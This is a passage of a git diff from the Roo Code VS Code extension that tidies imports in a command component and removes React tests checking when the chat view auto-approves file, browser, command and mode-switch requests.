 import { CommandExecutionStatus, commandExecutionStatusSchema } from "@roo-code/types"
@@ -8,16 +9,17 @@ import { ExtensionMessage } from "@roo/ExtensionMessage"
 import { safeJsonParse } from "@roo/safeJsonParse"
 
 import { COMMAND_OUTPUT_STRING } from "@roo/combineCommandSequences"
+import { parseCommand } from "@roo/parse-command"
 
 import { vscode } from "@src/utils/vscode"
+import { extractPatternsFromCommand } from "@src/utils/command-parser"
 import { useExtensionState } from "@src/context/ExtensionStateContext"
 import { cn } from "@src/lib/utils"
+
 import { Button, StandardTooltip } from "@src/components/ui"
-import CodeBlock from "../common/CodeBlock"
+import CodeBlock from "@src/components/common/CodeBlock"
+
 import { CommandPatternSelector } from "./CommandPatternSelector"
-import { parseCommand } from "../../utils/command-validation"
-import { extractPatternsFromCommand } from "../../utils/command-parser"
-import { t } from "i18next"
 
 interface CommandPattern {
 	pattern: string

+ 0 - 480
webview-ui/src/components/chat/__tests__/ChatView.auto-approve-new.spec.tsx

@@ -1,480 +0,0 @@
-// npx vitest run src/components/chat/__tests__/ChatView.auto-approve-new.spec.tsx
-
-import { render, waitFor } from "@/utils/test-utils"
-import { QueryClient, QueryClientProvider } from "@tanstack/react-query"
-
-import { ExtensionStateContextProvider } from "@src/context/ExtensionStateContext"
-import { vscode } from "@src/utils/vscode"
-
-import ChatView, { ChatViewProps } from "../ChatView"
-
-// Mock vscode API
-vi.mock("@src/utils/vscode", () => ({
-	vscode: {
-		postMessage: vi.fn(),
-	},
-}))
-
-// Mock all problematic dependencies
-vi.mock("rehype-highlight", () => ({
-	default: () => () => {},
-}))
-
-vi.mock("hast-util-to-text", () => ({
-	default: () => "",
-}))
-
-// Mock components that use ESM dependencies
-vi.mock("../BrowserSessionRow", () => ({
-	default: function MockBrowserSessionRow({ messages }: { messages: any[] }) {
-		return <div data-testid="browser-session">{JSON.stringify(messages)}</div>
-	},
-}))
-
-vi.mock("../ChatRow", () => ({
-	default: function MockChatRow({ message }: { message: any }) {
-		return <div data-testid="chat-row">{JSON.stringify(message)}</div>
-	},
-}))
-
-vi.mock("../TaskHeader", () => ({
-	default: function MockTaskHeader({ task }: { task: any }) {
-		return <div data-testid="task-header">{JSON.stringify(task)}</div>
-	},
-}))
-
-vi.mock("../AutoApproveMenu", () => ({
-	default: () => null,
-}))
-
-vi.mock("@src/components/common/CodeBlock", () => ({
-	default: () => null,
-	CODE_BLOCK_BG_COLOR: "rgb(30, 30, 30)",
-}))
-
-vi.mock("@src/components/common/CodeAccordion", () => ({
-	default: () => null,
-}))
-
-vi.mock("@src/components/chat/ContextMenu", () => ({
-	default: () => null,
-}))
-
-// Mock window.postMessage to trigger state hydration
-const mockPostMessage = (state: any) => {
-	window.postMessage(
-		{
-			type: "state",
-			state: {
-				version: "1.0.0",
-				clineMessages: [],
-				taskHistory: [],
-				shouldShowAnnouncement: false,
-				allowedCommands: [],
-				alwaysAllowExecute: false,
-				autoApprovalEnabled: true,
-				...state,
-			},
-		},
-		"*",
-	)
-}
-
-const queryClient = new QueryClient()
-
-const defaultProps: ChatViewProps = {
-	isHidden: false,
-	showAnnouncement: false,
-	hideAnnouncement: () => {},
-}
-
-const renderChatView = (props: Partial<ChatViewProps> = {}) => {
-	return render(
-		<ExtensionStateContextProvider>
-			<QueryClientProvider client={queryClient}>
-				<ChatView {...defaultProps} {...props} />
-			</QueryClientProvider>
-		</ExtensionStateContextProvider>,
-	)
-}
-
-describe("ChatView - New Auto Approval Logic Tests", () => {
-	beforeEach(() => {
-		vi.clearAllMocks()
-	})
-
-	describe("Master auto-approval with no sub-options enabled", () => {
-		it("should NOT auto-approve when autoApprovalEnabled is true but no sub-options are enabled", async () => {
-			renderChatView()
-
-			// First hydrate state with initial task
-			mockPostMessage({
-				autoApprovalEnabled: true, // Master is enabled
-				alwaysAllowReadOnly: false, // But no sub-options are enabled
-				alwaysAllowWrite: false,
-				alwaysAllowExecute: false,
-				alwaysAllowBrowser: false,
-				alwaysAllowModeSwitch: false,
-				clineMessages: [
-					{
-						type: "say",
-						say: "task",
-						ts: Date.now() - 2000,
-						text: "Initial task",
-					},
-				],
-			})
-
-			// Then send a read tool ask message
-			mockPostMessage({
-				autoApprovalEnabled: true,
-				alwaysAllowReadOnly: false,
-				alwaysAllowWrite: false,
-				alwaysAllowExecute: false,
-				alwaysAllowBrowser: false,
-				alwaysAllowModeSwitch: false,
-				clineMessages: [
-					{
-						type: "say",
-						say: "task",
-						ts: Date.now() - 2000,
-						text: "Initial task",
-					},
-					{
-						type: "ask",
-						ask: "tool",
-						ts: Date.now(),
-						text: JSON.stringify({ tool: "readFile", path: "test.txt" }),
-						partial: false,
-					},
-				],
-			})
-
-			// Wait and verify no auto-approval message was sent
-			await new Promise((resolve) => setTimeout(resolve, 100))
-			expect(vscode.postMessage).not.toHaveBeenCalledWith({
-				type: "askResponse",
-				askResponse: "yesButtonClicked",
-			})
-		})
-
-		it("should NOT auto-approve write operations when only master is enabled", async () => {
-			renderChatView()
-
-			// First hydrate state with initial task
-			mockPostMessage({
-				autoApprovalEnabled: true, // Master is enabled
-				alwaysAllowReadOnly: false,
-				alwaysAllowWrite: false, // Write is not enabled
-				writeDelayMs: 0,
-				clineMessages: [
-					{
-						type: "say",
-						say: "task",
-						ts: Date.now() - 2000,
-						text: "Initial task",
-					},
-				],
-			})
-
-			// Then send a write tool ask message
-			mockPostMessage({
-				autoApprovalEnabled: true,
-				alwaysAllowReadOnly: false,
-				alwaysAllowWrite: false,
-				writeDelayMs: 0,
-				clineMessages: [
-					{
-						type: "say",
-						say: "task",
-						ts: Date.now() - 2000,
-						text: "Initial task",
-					},
-					{
-						type: "ask",
-						ask: "tool",
-						ts: Date.now(),
-						text: JSON.stringify({ tool: "editedExistingFile", path: "test.txt" }),
-						partial: false,
-					},
-				],
-			})
-
-			// Wait and verify no auto-approval message was sent
-			await new Promise((resolve) => setTimeout(resolve, 100))
-			expect(vscode.postMessage).not.toHaveBeenCalledWith({
-				type: "askResponse",
-				askResponse: "yesButtonClicked",
-			})
-		})
-
-		it("should NOT auto-approve browser actions when only master is enabled", async () => {
-			renderChatView()
-
-			// First hydrate state with initial task
-			mockPostMessage({
-				autoApprovalEnabled: true, // Master is enabled
-				alwaysAllowBrowser: false, // Browser is not enabled
-				clineMessages: [
-					{
-						type: "say",
-						say: "task",
-						ts: Date.now() - 2000,
-						text: "Initial task",
-					},
-				],
-			})
-
-			// Then send a browser action ask message
-			mockPostMessage({
-				autoApprovalEnabled: true,
-				alwaysAllowBrowser: false,
-				clineMessages: [
-					{
-						type: "say",
-						say: "task",
-						ts: Date.now() - 2000,
-						text: "Initial task",
-					},
-					{
-						type: "ask",
-						ask: "browser_action_launch",
-						ts: Date.now(),
-						text: JSON.stringify({ action: "launch", url: "http://example.com" }),
-						partial: false,
-					},
-				],
-			})
-
-			// Wait and verify no auto-approval message was sent
-			await new Promise((resolve) => setTimeout(resolve, 100))
-			expect(vscode.postMessage).not.toHaveBeenCalledWith({
-				type: "askResponse",
-				askResponse: "yesButtonClicked",
-			})
-		})
-	})
-
-	describe("Correct auto-approval with sub-options enabled", () => {
-		it("should auto-approve when master and at least one sub-option are enabled", async () => {
-			renderChatView()
-
-			// First hydrate state with initial task
-			mockPostMessage({
-				autoApprovalEnabled: true,
-				alwaysAllowReadOnly: true, // At least one sub-option is enabled
-				alwaysAllowWrite: false,
-				clineMessages: [
-					{
-						type: "say",
-						say: "task",
-						ts: Date.now() - 2000,
-						text: "Initial task",
-					},
-				],
-			})
-
-			// Then send a read tool ask message
-			mockPostMessage({
-				autoApprovalEnabled: true,
-				alwaysAllowReadOnly: true,
-				alwaysAllowWrite: false,
-				clineMessages: [
-					{
-						type: "say",
-						say: "task",
-						ts: Date.now() - 2000,
-						text: "Initial task",
-					},
-					{
-						type: "ask",
-						ask: "tool",
-						ts: Date.now(),
-						text: JSON.stringify({ tool: "readFile", path: "test.txt" }),
-						partial: false,
-					},
-				],
-			})
-
-			// Wait for the auto-approval message
-			await waitFor(() => {
-				expect(vscode.postMessage).toHaveBeenCalledWith({
-					type: "askResponse",
-					askResponse: "yesButtonClicked",
-				})
-			})
-		})
-
-		it("should auto-approve when multiple sub-options are enabled", async () => {
-			renderChatView()
-
-			// First hydrate state with initial task
-			mockPostMessage({
-				autoApprovalEnabled: true,
-				alwaysAllowReadOnly: true, // Multiple sub-options enabled
-				alwaysAllowWrite: true,
-				alwaysAllowExecute: true,
-				writeDelayMs: 0,
-				clineMessages: [
-					{
-						type: "say",
-						say: "task",
-						ts: Date.now() - 2000,
-						text: "Initial task",
-					},
-				],
-			})
-
-			// Then send a write tool ask message
-			mockPostMessage({
-				autoApprovalEnabled: true,
-				alwaysAllowReadOnly: true,
-				alwaysAllowWrite: true,
-				alwaysAllowExecute: true,
-				writeDelayMs: 0,
-				clineMessages: [
-					{
-						type: "say",
-						say: "task",
-						ts: Date.now() - 2000,
-						text: "Initial task",
-					},
-					{
-						type: "ask",
-						ask: "tool",
-						ts: Date.now(),
-						text: JSON.stringify({ tool: "editedExistingFile", path: "test.txt" }),
-						partial: false,
-					},
-				],
-			})
-
-			// Wait for the auto-approval message
-			await waitFor(() => {
-				expect(vscode.postMessage).toHaveBeenCalledWith({
-					type: "askResponse",
-					askResponse: "yesButtonClicked",
-				})
-			})
-		})
-	})
-
-	describe("Edge cases", () => {
-		it("should handle state transitions correctly", async () => {
-			renderChatView()
-
-			// Start with auto-approval properly configured
-			mockPostMessage({
-				autoApprovalEnabled: true,
-				alwaysAllowReadOnly: true,
-				clineMessages: [
-					{
-						type: "say",
-						say: "task",
-						ts: Date.now() - 2000,
-						text: "Initial task",
-					},
-				],
-			})
-
-			// Then transition to a state where no sub-options are enabled
-			mockPostMessage({
-				autoApprovalEnabled: true, // Master still true
-				alwaysAllowReadOnly: false, // All sub-options now false
-				alwaysAllowWrite: false,
-				alwaysAllowExecute: false,
-				alwaysAllowBrowser: false,
-				alwaysAllowModeSwitch: false,
-				clineMessages: [
-					{
-						type: "say",
-						say: "task",
-						ts: Date.now() - 2000,
-						text: "Initial task",
-					},
-					{
-						type: "ask",
-						ask: "tool",
-						ts: Date.now(),
-						text: JSON.stringify({ tool: "readFile", path: "test.txt" }),
-						partial: false,
-					},
-				],
-			})
-
-			// Wait and verify no auto-approval message was sent
-			await new Promise((resolve) => setTimeout(resolve, 100))
-			expect(vscode.postMessage).not.toHaveBeenCalledWith({
-				type: "askResponse",
-				askResponse: "yesButtonClicked",
-			})
-		})
-
-		it("should respect the hasEnabledOptions check in isAutoApproved", async () => {
-			renderChatView()
-
-			// Configure state where master is true but effective approval should be false
-			mockPostMessage({
-				autoApprovalEnabled: true,
-				alwaysAllowReadOnly: false,
-				alwaysAllowReadOnlyOutsideWorkspace: false,
-				alwaysAllowWrite: false,
-				alwaysAllowWriteOutsideWorkspace: false,
-				alwaysAllowExecute: false,
-				alwaysAllowBrowser: false,
-				alwaysAllowModeSwitch: false,
-				clineMessages: [
-					{
-						type: "say",
-						say: "task",
-						ts: Date.now() - 2000,
-						text: "Initial task",
-					},
-				],
-			})
-
-			// Try various tool types - none should auto-approve
-			const toolRequests = [
-				{ tool: "readFile", path: "test.txt" },
-				{ tool: "editedExistingFile", path: "test.txt" },
-				{ tool: "executeCommand", command: "ls" },
-				{ tool: "switchMode", mode: "architect" },
-			]
-
-			for (const toolRequest of toolRequests) {
-				vi.clearAllMocks()
-
-				mockPostMessage({
-					autoApprovalEnabled: true,
-					alwaysAllowReadOnly: false,
-					alwaysAllowWrite: false,
-					alwaysAllowExecute: false,
-					alwaysAllowBrowser: false,
-					alwaysAllowModeSwitch: false,
-					clineMessages: [
-						{
-							type: "say",
-							say: "task",
-							ts: Date.now() - 2000,
-							text: "Initial task",
-						},
-						{
-							type: "ask",
-							ask: "tool",
-							ts: Date.now(),
-							text: JSON.stringify(toolRequest),
-							partial: false,
-						},
-					],
-				})
-
-				// Wait and verify no auto-approval for any tool type
-				await new Promise((resolve) => setTimeout(resolve, 100))
-				expect(vscode.postMessage).not.toHaveBeenCalledWith({
-					type: "askResponse",
-					askResponse: "yesButtonClicked",
-				})
-			}
-		})
-	})
-})

+ 0 - 674
webview-ui/src/components/chat/__tests__/ChatView.auto-approve.spec.tsx

@@ -1,674 +0,0 @@
-// npx vitest run src/components/chat/__tests__/ChatView.auto-approve.spec.tsx
-
-import { render, waitFor } from "@/utils/test-utils"
-import { QueryClient, QueryClientProvider } from "@tanstack/react-query"
-
-import { ExtensionStateContextProvider } from "@src/context/ExtensionStateContext"
-import { vscode } from "@src/utils/vscode"
-
-import ChatView, { ChatViewProps } from "../ChatView"
-
-// Mock vscode API
-vi.mock("@src/utils/vscode", () => ({
-	vscode: {
-		postMessage: vi.fn(),
-	},
-}))
-
-// Mock all problematic dependencies
-vi.mock("rehype-highlight", () => ({
-	default: () => () => {},
-}))
-
-vi.mock("hast-util-to-text", () => ({
-	default: () => "",
-}))
-
-// Mock components that use ESM dependencies
-vi.mock("../BrowserSessionRow", () => ({
-	default: function MockBrowserSessionRow({ messages }: { messages: any[] }) {
-		return <div data-testid="browser-session">{JSON.stringify(messages)}</div>
-	},
-}))
-
-vi.mock("../ChatRow", () => ({
-	default: function MockChatRow({ message }: { message: any }) {
-		return <div data-testid="chat-row">{JSON.stringify(message)}</div>
-	},
-}))
-
-vi.mock("../TaskHeader", () => ({
-	default: function MockTaskHeader({ task }: { task: any }) {
-		return <div data-testid="task-header">{JSON.stringify(task)}</div>
-	},
-}))
-
-vi.mock("../AutoApproveMenu", () => ({
-	default: () => null,
-}))
-
-vi.mock("@src/components/common/CodeBlock", () => ({
-	default: () => null,
-	CODE_BLOCK_BG_COLOR: "rgb(30, 30, 30)",
-}))
-
-vi.mock("@src/components/common/CodeAccordian", () => ({
-	default: () => null,
-}))
-
-vi.mock("@src/components/chat/ContextMenu", () => ({
-	default: () => null,
-}))
-
-// Mock window.postMessage to trigger state hydration
-const mockPostMessage = (state: any) => {
-	window.postMessage(
-		{
-			type: "state",
-			state: {
-				version: "1.0.0",
-				clineMessages: [],
-				taskHistory: [],
-				shouldShowAnnouncement: false,
-				allowedCommands: [],
-				alwaysAllowExecute: false,
-				autoApprovalEnabled: true,
-				...state,
-			},
-		},
-		"*",
-	)
-}
-
-const queryClient = new QueryClient()
-
-const defaultProps: ChatViewProps = {
-	isHidden: false,
-	showAnnouncement: false,
-	hideAnnouncement: () => {},
-}
-
-const renderChatView = (props: Partial<ChatViewProps> = {}) => {
-	return render(
-		<ExtensionStateContextProvider>
-			<QueryClientProvider client={queryClient}>
-				<ChatView {...defaultProps} {...props} />
-			</QueryClientProvider>
-		</ExtensionStateContextProvider>,
-	)
-}
-
-describe("ChatView - Auto Approval Tests", () => {
-	beforeEach(() => {
-		vi.clearAllMocks()
-	})
-
-	it("auto-approves read operations when enabled", async () => {
-		renderChatView()
-
-		// First hydrate state with initial task
-		mockPostMessage({
-			alwaysAllowReadOnly: true,
-			autoApprovalEnabled: true,
-			clineMessages: [
-				{
-					type: "say",
-					say: "task",
-					ts: Date.now() - 2000,
-					text: "Initial task",
-				},
-			],
-		})
-
-		// Then send the read tool ask message
-		mockPostMessage({
-			alwaysAllowReadOnly: true,
-			autoApprovalEnabled: true,
-			clineMessages: [
-				{
-					type: "say",
-					say: "task",
-					ts: Date.now() - 2000,
-					text: "Initial task",
-				},
-				{
-					type: "ask",
-					ask: "tool",
-					ts: Date.now(),
-					text: JSON.stringify({ tool: "readFile", path: "test.txt" }),
-					partial: false,
-				},
-			],
-		})
-
-		// Wait for the auto-approval message
-		await waitFor(() => {
-			expect(vscode.postMessage).toHaveBeenCalledWith({
-				type: "askResponse",
-				askResponse: "yesButtonClicked",
-			})
-		})
-	})
-
-	it("auto-approves outside workspace read operations when enabled", async () => {
-		renderChatView()
-
-		// First hydrate state with initial task
-		mockPostMessage({
-			alwaysAllowReadOnly: true,
-			alwaysAllowReadOnlyOutsideWorkspace: true,
-			autoApprovalEnabled: true,
-			clineMessages: [
-				{
-					type: "say",
-					say: "task",
-					ts: Date.now() - 2000,
-					text: "Initial task",
-				},
-			],
-		})
-
-		// Then send the read tool ask message with an absolute path (outside workspace)
-		mockPostMessage({
-			alwaysAllowReadOnly: true,
-			alwaysAllowReadOnlyOutsideWorkspace: true,
-			autoApprovalEnabled: true,
-			clineMessages: [
-				{
-					type: "say",
-					say: "task",
-					ts: Date.now() - 2000,
-					text: "Initial task",
-				},
-				{
-					type: "ask",
-					ask: "tool",
-					ts: Date.now(),
-					text: JSON.stringify({
-						tool: "readFile",
-						path: "/absolute/path/test.txt",
-						// Use an absolute path that's clearly outside workspace
-					}),
-					partial: false,
-				},
-			],
-		})
-
-		// Also mock the filePaths for workspace detection
-		mockPostMessage({
-			alwaysAllowReadOnly: true,
-			alwaysAllowReadOnlyOutsideWorkspace: true,
-			autoApprovalEnabled: true,
-			filePaths: ["/workspace/root", "/another/workspace"],
-			clineMessages: [
-				{
-					type: "say",
-					say: "task",
-					ts: Date.now() - 2000,
-					text: "Initial task",
-				},
-				{
-					type: "ask",
-					ask: "tool",
-					ts: Date.now(),
-					text: JSON.stringify({
-						tool: "readFile",
-						path: "/absolute/path/test.txt",
-					}),
-					partial: false,
-				},
-			],
-		})
-
-		// Wait for the auto-approval message
-		await waitFor(() => {
-			expect(vscode.postMessage).toHaveBeenCalledWith({
-				type: "askResponse",
-				askResponse: "yesButtonClicked",
-			})
-		})
-	})
-
-	it("does not auto-approve outside workspace read operations without permission", async () => {
-		renderChatView()
-
-		// First hydrate state with initial task
-		mockPostMessage({
-			alwaysAllowReadOnly: true,
-			alwaysAllowReadOnlyOutsideWorkspace: false, // No permission for outside workspace
-			autoApprovalEnabled: true,
-			filePaths: ["/workspace/root", "/another/workspace"], // Same workspace paths as before
-			clineMessages: [
-				{
-					type: "say",
-					say: "task",
-					ts: Date.now() - 2000,
-					text: "Initial task",
-				},
-			],
-		})
-
-		// Then send the read tool ask message with an absolute path (outside workspace)
-		mockPostMessage({
-			alwaysAllowReadOnly: true,
-			alwaysAllowReadOnlyOutsideWorkspace: false,
-			autoApprovalEnabled: true,
-			clineMessages: [
-				{
-					type: "say",
-					say: "task",
-					ts: Date.now() - 2000,
-					text: "Initial task",
-				},
-				{
-					type: "ask",
-					ask: "tool",
-					ts: Date.now(),
-					text: JSON.stringify({
-						tool: "readFile",
-						path: "/absolute/path/test.txt",
-						isOutsideWorkspace: true, // Explicitly indicate this is outside workspace
-					}),
-					partial: false,
-				},
-			],
-		})
-
-		// Wait a short time and verify no auto-approval message was sent
-		await new Promise((resolve) => setTimeout(resolve, 100))
-		expect(vscode.postMessage).not.toHaveBeenCalledWith({
-			type: "askResponse",
-			askResponse: "yesButtonClicked",
-		})
-	})
-
-	it("does not auto-approve when autoApprovalEnabled is false", async () => {
-		renderChatView()
-
-		// First hydrate state with initial task
-		mockPostMessage({
-			alwaysAllowReadOnly: true,
-			autoApprovalEnabled: false,
-			clineMessages: [
-				{
-					type: "say",
-					say: "task",
-					ts: Date.now() - 2000,
-					text: "Initial task",
-				},
-			],
-		})
-
-		// Then send the read tool ask message
-		mockPostMessage({
-			alwaysAllowReadOnly: true,
-			autoApprovalEnabled: false,
-			clineMessages: [
-				{
-					type: "say",
-					say: "task",
-					ts: Date.now() - 2000,
-					text: "Initial task",
-				},
-				{
-					type: "ask",
-					ask: "tool",
-					ts: Date.now(),
-					text: JSON.stringify({ tool: "readFile", path: "test.txt" }),
-					partial: false,
-				},
-			],
-		})
-
-		// Verify no auto-approval message was sent
-		expect(vscode.postMessage).not.toHaveBeenCalledWith({
-			type: "askResponse",
-			askResponse: "yesButtonClicked",
-		})
-	})
-
-	it("auto-approves write operations when enabled", async () => {
-		renderChatView()
-
-		// First hydrate state with initial task
-		mockPostMessage({
-			alwaysAllowWrite: true,
-			autoApprovalEnabled: true,
-			writeDelayMs: 0,
-			clineMessages: [
-				{
-					type: "say",
-					say: "task",
-					ts: Date.now() - 2000,
-					text: "Initial task",
-				},
-			],
-		})
-
-		// Then send the write tool ask message
-		mockPostMessage({
-			alwaysAllowWrite: true,
-			autoApprovalEnabled: true,
-			writeDelayMs: 0,
-			clineMessages: [
-				{
-					type: "say",
-					say: "task",
-					ts: Date.now() - 2000,
-					text: "Initial task",
-				},
-				{
-					type: "ask",
-					ask: "tool",
-					ts: Date.now(),
-					text: JSON.stringify({ tool: "editedExistingFile", path: "test.txt" }),
-					partial: false,
-				},
-			],
-		})
-
-		// Wait for the auto-approval message
-		await waitFor(() => {
-			expect(vscode.postMessage).toHaveBeenCalledWith({
-				type: "askResponse",
-				askResponse: "yesButtonClicked",
-			})
-		})
-	})
-
-	it("auto-approves outside workspace write operations when enabled", async () => {
-		renderChatView()
-
-		// First hydrate state with initial task
-		mockPostMessage({
-			alwaysAllowWrite: true,
-			alwaysAllowWriteOutsideWorkspace: true,
-			autoApprovalEnabled: true,
-			writeDelayMs: 0, // Set to 0 for testing
-			filePaths: ["/workspace/root", "/another/workspace"], // Define workspace paths for testing
-			clineMessages: [
-				{
-					type: "say",
-					say: "task",
-					ts: Date.now() - 2000,
-					text: "Initial task",
-				},
-			],
-		})
-
-		// Then send the write tool ask message with an absolute path (outside workspace)
-		mockPostMessage({
-			alwaysAllowWrite: true,
-			alwaysAllowWriteOutsideWorkspace: true,
-			autoApprovalEnabled: true,
-			writeDelayMs: 0,
-			clineMessages: [
-				{
-					type: "say",
-					say: "task",
-					ts: Date.now() - 2000,
-					text: "Initial task",
-				},
-				{
-					type: "ask",
-					ask: "tool",
-					ts: Date.now(),
-					text: JSON.stringify({
-						tool: "editedExistingFile",
-						path: "/absolute/path/test.txt",
-						content: "Test content",
-					}),
-					partial: false,
-				},
-			],
-		})
-
-		// Wait for the auto-approval message
-		await waitFor(() => {
-			expect(vscode.postMessage).toHaveBeenCalledWith({
-				type: "askResponse",
-				askResponse: "yesButtonClicked",
-			})
-		})
-	})
-
-	it("does not auto-approve outside workspace write operations without permission", async () => {
-		renderChatView()
-
-		// First hydrate state with initial task
-		mockPostMessage({
-			alwaysAllowWrite: true,
-			alwaysAllowWriteOutsideWorkspace: false, // No permission for outside workspace
-			autoApprovalEnabled: true,
-			writeDelayMs: 0,
-			filePaths: ["/workspace/root", "/another/workspace"], // Define workspace paths for testing
-			clineMessages: [
-				{
-					type: "say",
-					say: "task",
-					ts: Date.now() - 2000,
-					text: "Initial task",
-				},
-			],
-		})
-
-		// Then send the write tool ask message with an absolute path (outside workspace)
-		mockPostMessage({
-			alwaysAllowWrite: true,
-			alwaysAllowWriteOutsideWorkspace: false,
-			autoApprovalEnabled: true,
-			writeDelayMs: 0,
-			clineMessages: [
-				{
-					type: "say",
-					say: "task",
-					ts: Date.now() - 2000,
-					text: "Initial task",
-				},
-				{
-					type: "ask",
-					ask: "tool",
-					ts: Date.now(),
-					text: JSON.stringify({
-						tool: "editedExistingFile",
-						path: "/absolute/path/test.txt",
-						content: "Test content",
-						isOutsideWorkspace: true, // Explicitly indicate this is outside workspace
-					}),
-					partial: false,
-				},
-			],
-		})
-
-		// Wait a short time and verify no auto-approval message was sent
-		await new Promise((resolve) => setTimeout(resolve, 100))
-		expect(vscode.postMessage).not.toHaveBeenCalledWith({
-			type: "askResponse",
-			askResponse: "yesButtonClicked",
-		})
-	})
-
-	it("auto-approves browser actions when enabled", async () => {
-		renderChatView()
-
-		// First hydrate state with initial task
-		mockPostMessage({
-			alwaysAllowBrowser: true,
-			autoApprovalEnabled: true,
-			clineMessages: [
-				{
-					type: "say",
-					say: "task",
-					ts: Date.now() - 2000,
-					text: "Initial task",
-				},
-			],
-		})
-
-		// Then send the browser action ask message
-		mockPostMessage({
-			alwaysAllowBrowser: true,
-			autoApprovalEnabled: true,
-			clineMessages: [
-				{
-					type: "say",
-					say: "task",
-					ts: Date.now() - 2000,
-					text: "Initial task",
-				},
-				{
-					type: "ask",
-					ask: "browser_action_launch",
-					ts: Date.now(),
-					text: JSON.stringify({ action: "launch", url: "http://example.com" }),
-					partial: false,
-				},
-			],
-		})
-
-		// Wait for the auto-approval message
-		await waitFor(() => {
-			expect(vscode.postMessage).toHaveBeenCalledWith({
-				type: "askResponse",
-				askResponse: "yesButtonClicked",
-			})
-		})
-	})
-
-	it("auto-approves mode switch when enabled", async () => {
-		renderChatView()
-
-		// First hydrate state with initial task
-		mockPostMessage({
-			alwaysAllowModeSwitch: true,
-			autoApprovalEnabled: true,
-			clineMessages: [
-				{
-					type: "say",
-					say: "task",
-					ts: Date.now() - 2000,
-					text: "Initial task",
-				},
-			],
-		})
-
-		// Then send the mode switch ask message
-		mockPostMessage({
-			alwaysAllowModeSwitch: true,
-			autoApprovalEnabled: true,
-			clineMessages: [
-				{
-					type: "say",
-					say: "task",
-					ts: Date.now() - 2000,
-					text: "Initial task",
-				},
-				{
-					type: "ask",
-					ask: "tool",
-					ts: Date.now(),
-					text: JSON.stringify({ tool: "switchMode" }),
-					partial: false,
-				},
-			],
-		})
-
-		// Wait for the auto-approval message
-		await waitFor(() => {
-			expect(vscode.postMessage).toHaveBeenCalledWith({
-				type: "askResponse",
-				askResponse: "yesButtonClicked",
-			})
-		})
-	})
-
-	it("does not auto-approve mode switch when disabled", async () => {
-		renderChatView()
-
-		// First hydrate state with initial task
-		mockPostMessage({
-			alwaysAllowModeSwitch: false,
-			autoApprovalEnabled: true,
-			clineMessages: [
-				{
-					type: "say",
-					say: "task",
-					ts: Date.now() - 2000,
-					text: "Initial task",
-				},
-			],
-		})
-
-		// Then send the mode switch ask message
-		mockPostMessage({
-			alwaysAllowModeSwitch: false,
-			autoApprovalEnabled: true,
-			clineMessages: [
-				{
-					type: "say",
-					say: "task",
-					ts: Date.now() - 2000,
-					text: "Initial task",
-				},
-				{
-					type: "ask",
-					ask: "tool",
-					ts: Date.now(),
-					text: JSON.stringify({ tool: "switchMode" }),
-					partial: false,
-				},
-			],
-		})
-
-		// Verify no auto-approval message was sent
-		expect(vscode.postMessage).not.toHaveBeenCalledWith({
-			type: "askResponse",
-			askResponse: "yesButtonClicked",
-		})
-	})
-
-	it("does not auto-approve mode switch when auto-approval is disabled", async () => {
-		renderChatView()
-
-		// First hydrate state with initial task
-		mockPostMessage({
-			alwaysAllowModeSwitch: true,
-			autoApprovalEnabled: false,
-			clineMessages: [
-				{
-					type: "say",
-					say: "task",
-					ts: Date.now() - 2000,
-					text: "Initial task",
-				},
-			],
-		})
-
-		// Then send the mode switch ask message
-		mockPostMessage({
-			alwaysAllowModeSwitch: true,
-			autoApprovalEnabled: false,
-			clineMessages: [
-				{
-					type: "say",
-					say: "task",
-					ts: Date.now() - 2000,
-					text: "Initial task",
-				},
-				{
-					type: "ask",
-					ask: "tool",
-					ts: Date.now(),
-					text: JSON.stringify({ tool: "switchMode" }),
-					partial: false,
-				},
-			],
-		})
-
-		// Verify no auto-approval message was sent
-		expect(vscode.postMessage).not.toHaveBeenCalledWith({
-			type: "askResponse",
-			askResponse: "yesButtonClicked",
-		})
-	})
-})

+ 1 - 636
webview-ui/src/components/chat/__tests__/ChatView.spec.tsx

@@ -1,4 +1,4 @@
-// npx vitest run src/components/chat/__tests__/ChatView.spec.tsx
+// pnpm --filter @roo-code/vscode-webview test src/components/chat/__tests__/ChatView.spec.tsx
 
 import React from "react"
 import { render, waitFor, act, fireEvent } from "@/utils/test-utils"
@@ -293,644 +293,9 @@ const renderChatView = (props: Partial<ChatViewProps> = {}) => {
 	)
 }
 
-describe("ChatView - Auto Approval Tests", () => {
-	beforeEach(() => vi.clearAllMocks())
-
-	it("does not auto-approve any actions when autoApprovalEnabled is false", () => {
-		renderChatView()
-
-		// First hydrate state with initial task
-		mockPostMessage({
-			autoApprovalEnabled: false,
-			alwaysAllowBrowser: true,
-			alwaysAllowReadOnly: true,
-			alwaysAllowWrite: true,
-			alwaysAllowExecute: true,
-			allowedCommands: ["npm test"],
-			clineMessages: [
-				{
-					type: "say",
-					say: "task",
-					ts: Date.now() - 2000,
-					text: "Initial task",
-				},
-			],
-		})
-
-		// Test various types of actions that should not be auto-approved
-		const testCases = [
-			{
-				ask: "browser_action_launch",
-				text: JSON.stringify({ action: "launch", url: "http://example.com" }),
-			},
-			{
-				ask: "tool",
-				text: JSON.stringify({ tool: "readFile", path: "test.txt" }),
-			},
-			{
-				ask: "tool",
-				text: JSON.stringify({ tool: "editedExistingFile", path: "test.txt" }),
-			},
-			{
-				ask: "command",
-				text: "npm test",
-			},
-		]
-
-		testCases.forEach((testCase) => {
-			mockPostMessage({
-				autoApprovalEnabled: false,
-				alwaysAllowBrowser: true,
-				alwaysAllowReadOnly: true,
-				alwaysAllowWrite: true,
-				alwaysAllowExecute: true,
-				allowedCommands: ["npm test"],
-				clineMessages: [
-					{
-						type: "say",
-						say: "task",
-						ts: Date.now() - 2000,
-						text: "Initial task",
-					},
-					{
-						type: "ask",
-						ask: testCase.ask as any,
-						ts: Date.now(),
-						text: testCase.text,
-					},
-				],
-			})
-
-			// Should not auto-approve when autoApprovalEnabled is false
-			expect(vscode.postMessage).not.toHaveBeenCalledWith({
-				type: "askResponse",
-				askResponse: "yesButtonClicked",
-			})
-		})
-	})
-
-	it("auto-approves browser actions when alwaysAllowBrowser is enabled", async () => {
-		renderChatView()
-
-		// First hydrate state with initial task
-		mockPostMessage({
-			autoApprovalEnabled: true,
-			alwaysAllowBrowser: true,
-			clineMessages: [
-				{
-					type: "say",
-					say: "task",
-					ts: Date.now() - 2000,
-					text: "Initial task",
-				},
-			],
-		})
-
-		// Clear any initial calls
-		vi.mocked(vscode.postMessage).mockClear()
-
-		// Add browser action
-		mockPostMessage({
-			autoApprovalEnabled: true,
-			alwaysAllowBrowser: true,
-			clineMessages: [
-				{
-					type: "say",
-					say: "task",
